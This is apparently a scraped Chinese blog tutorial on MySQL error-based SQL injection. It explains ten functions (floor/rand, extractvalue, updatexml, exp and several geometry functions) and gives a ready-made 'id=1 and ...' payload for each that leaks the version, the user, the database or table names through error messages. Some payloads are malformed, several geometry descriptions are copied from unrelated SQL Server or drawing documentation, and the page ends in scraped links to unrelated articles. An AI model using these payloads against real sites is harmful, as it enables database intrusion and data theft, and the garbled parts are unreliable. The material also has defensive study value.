1.Floor()

round() 遵循四舍五入把原值转化为指定小数位数,如:round(1.45,0) = 1;round(1.55,0)=2

floor()向下舍入为指定小数位数 如:floor(1.45,0)= 1;floor(1.55,0) = 1

ceiling()向上舍入为指定小数位数 如:ceiling(1.45,0) = 2;ceiling(1.55,0)=2

floor(x),返回小于或等于x的最大整数。

x表示concat(database(),rand(0)*2),rand(0)以0为随机种子产生0-1之间的随机数,*2产生0-2之间的随机数。

报错原因:主键重复,必需:count()、rand()、group by

payload:

id=1 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.ExtractValue()

ExtractValue(xml_frag, xpath_expr)ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue(‘‘, ‘/a/b‘); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

payload:

id=1 and extractvalue(1, concat(0x7e, (select table_name from information_schema.tables limit 1)));

3.UpdateXml()

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

而我们的注入语句为:

id=1 and 1=(updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

4.Exp()

exp是以e为底的指数函数,

mysql> select exp(1);

+-------------------+

| exp(1) |

+-------------------+

| 2.718281828459045 |

+-------------------+

1 row in set (0.00 sec)

但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

mysql> select exp(709);

+-----------------------+

| exp(709) |

+-----------------------+

| 8.218407461554972e307 |

+-----------------------+

1 row in set (0.00 sec)

mysql> select exp(710);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

mysql> select ~0;

+----------------------+

| ~0 |

+----------------------+

| 18446744073709551615 |

+----------------------+

1 row in set (0.00 sec)

mysql> select ~(select version());

+----------------------+

| ~(select version()) |

+----------------------+

| 18446744073709551610 |

+----------------------+

1 row in set, 1 warning (0.00 sec)

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

mysql> select exp(~(select * from(select database())x));

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'

在脚本语言中,就会将错误中的一些表达式转化成相应的字符串,即像这样:

DOUBLE value is out of range in 'exp(~((select 'error_based_hpf' from dual)))'

从而实现了报错注入。

payload:

id=1 and exp(~(select * from(select user())a));

5.GeometryCollection()

GeometryCollection的理解:以点的方式存放 ,如果单个点直接用 坐标(x,y)表示,如果是线的话是多个点使用 LINESTRING()来保存这条线上的点。

payload:

id=1 and GeometryCollection(()select *from(select user())a)b);

6.Polygon()

Polygon该函数画一个由直线相闻的两个以上顶点组成的多边形,用当前画笔画多边形轮廓,用当前画刷和多边形填充模式填充多边形。

如图中所示:

图 1 是由外部环定义其边界的 Polygon 实例。

图 2 是由外部环和两个内部环定义其边界的 Polygon 实例。 内部环内的面积是 Polygon 实例的外部环的一部分。

图 3 是一个有效的 Polygon 实例,因为其内部环在单个切点处相交。

payload:

id =1 and polygon((select * from(select * from(select user())a)b));

此注入点可以理解为limit后的注入点

7.MultiPoint

MultiPoint 是零个点或更多个点的集合。 MultiPoint 实例的边界为空。

payload:

id = 1 and multipoint((select * from(select * from(select user())a)b));

8.MultiLineString()

MultiLineString 是零个或多个 geometry 或 geographyLineString 实例的集合。

如图中所示:

图 1 显示的是一个简单的 MultiLineString 实例,其边界是其两个 LineString 元素的四个端点。

图 2 显示的是一个简单的 MultiLineString 实例,因为只有 LineString 元素的端点相交。 边界是两个不重叠的端点。

图 3 显示的是一个不简单的 MultiLineString 实例,因为它的其中一个 LineString 元素的内部出现了相交。 此 MultiLineString实例的边界是四个端点。

图 4 显示的是一个不简单、非闭合的 MultiLineString 实例。

图 5 显示的是一个简单、非闭合的 MultiLineString。 它没有闭合是因为它的 LineStrings 元素没有闭合。 而其简单的原因在于,其任何 LineStrings 实例的内部都没有出现相交。

图 6 显示的是一个简单、闭合的 MultiLineString 实例。 它为闭合的是因为它的所有元素都是闭合的。 而其简单的原因在于,其所有元素都没有出现内部相交现象。

payload:

id = 1 and multilinestring((select * from(select * from(select user())a)b));

9.LineString

LineString 是一个一维对象,表示一系列点和连接这些点的线段。

如图中所示:

图 1 显示的是一个简单、非闭合的 LineString 实例。

图 2 显示的是一个不简单、非闭合的 LineString 实例。

图 3 显示的是一个闭合、简单的 LineString 实例,因此是一个环。

图 4 显示的是一个闭合、不简单的 LineString 实例,因此不是一个环。

payload:

id = 1 and LINESTRING((select * from(select * from(select user())a)b));

10.MultiPolygon()

MultiPolygon实例是零个或更多个Polygon实例的集合。

如图中所示:

图 1 是一个包含两个 Polygon 元素的 MultiPolygon 实例。 边界由两个外环和三个内环界定。

图 2 是一个包含两个 MultiPolygon 元素的 Polygon 实例。 边界由两个外环和三个内环界定。 这两个 Polygon 元素在切点处相交。

mysql十大报错_MySQL十大报错函数相关推荐

  1. mysql中discount用法_MySQL 技巧:COALESCE 函数的使用

    COALESCE() 函数可以接收多个参数,并返回第一个非 NULL 的参数.如果所有参数都为 NULL,则 COALESCE() 函数返回 NULL. 例如: COALESCE(NULL, 1, 2 ...

  2. mysql加减分钟_mysql加减时间-函数-时间加减

    select timediff('23:40:00', '18:30:00'); --两时间相减 SELECT substring( timediff('23:40:00', '18:30:00'), ...

  3. mysql恢复 报错_Mysql 数据恢复报错

    1.测试mysql binlog 数据恢复功能,我的mysql版本是5.7.17 2.删了数据之后,执行show binlog events 命令得到如下记录 3.找到开始删除和结束删除的位置,然后执 ...

  4. mysql初始化很慢_mysql初始化报错

    /var/log/mysql.log 日志报错如上图所示 解决方法: SELinux惹的祸 通俗的讲就是linux服务器的安全策略 解决: 临时关闭:setenforce 0 永久关闭需要修改配置文件 ...

  5. mysql install安装报错_mysql安装报错

    错误1 make: *** No targets specified and no makefile found. Stop. 1.wget http://ftp.gnu.org/pub/gnu/nc ...

  6. mysql主从报错_Mysql主从报错锦集

    前言 在发生故障切换后,经常遇到的问题就是同步报错,下面是最近收集的报错信息. 记录删除失败 在master上删除一条记录,而slave上找不到 Last_SQL_Error: Could not e ...

  7. mysql 数据恢复 报错_Mysql 数据恢复报错

    1.测试mysql binlog 数据恢复功能,我的mysql版本是5.7.17 2.删了数据之后,执行show binlog events 命令得到如下记录 3.找到开始删除和结束删除的位置,然后执 ...

  8. mysql安装开始报错_MYSQL安装报错 -- 出现Failed to find valid data directory.

    运行环境:windows10 数据库版本:mysql.8.0.12 安装方式:rpm包直接安装 问题描述: mysql初始化的时候找不到对应的数据库存储目录 报错代码: 2018-10-13T03:2 ...

  9. mysql之间互相订阅_Mysql分区报错,另外小说订阅表如何优化?

    CREATE TABLE `yy_subscribe2` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `user_id` int(10) unsi ...

最新文章

  1. win10用什么软件测试硬件,Win10系统下硬件设备检测工具的使用方法
  2. 【Android 逆向】Android 权限 ( adb 降权相关的属性 | ro.secure 属性 | ro.debuggable 属性 | service.adb.root 属性 )
  3. Android UI开发第二十七篇——实现左右划出菜单
  4. 2018-2019-2 20165209 《网络对抗技术》Exp4:恶意代码分析
  5. oracle insert两个关联表
  6. 洛谷P1169 树上分组背包
  7. php数据库创建文件失败怎么回事,安装zblogPHP提示“创建c_option.php失败”解决方法...
  8. Spcomm使用属性及用法详解
  9. CentOS系统安装Java
  10. java动态数组的实现的_Java实现数据结构之【动态数组】
  11. 论文笔记-LSHTC: A Benchmark for Large-Scale Text Classification-2015
  12. Codeforces Round 258(Div. 2)
  13. python模块的分类有哪些_整理了一份清单,常见Python问题的快速解答包
  14. 测试中正交表软件,用正交表工具PICT自动设计测试用例
  15. PCWorld:Google到底要干什么?
  16. java写http接口,java如何写一个http接口?实例详解
  17. 阿里云 php shopex,开shopex
  18. 7、边沿触发-D型触发器
  19. DEBRON OVM1052 汽车关门速度仪的操作流程
  20. [工具]Firefox(火狐浏览器)常用插件

热门文章

  1. TCL系列 - incr命令
  2. 利用切片操作,实现一个trim()函数,去除字符串首尾的空格,不调用str的strip()方法:
  3. 【工具】公网临时大文件传输工具
  4. 【DIY】(开发板不吃灰运动)CC3200LaunchPad改装红外温度计
  5. 【Kmeans】基于Kmeans的聚类算法的MATLAB仿真
  6. JS 获取中英字符串字节长度
  7. 批量部署OFFICE2013
  8. ASP.NET MVC 向浏览器发送文件以提供文件下载功能
  9. 两条链路实现负载均衡和容错的设计
  10. 我的Windows Vista™也装好了...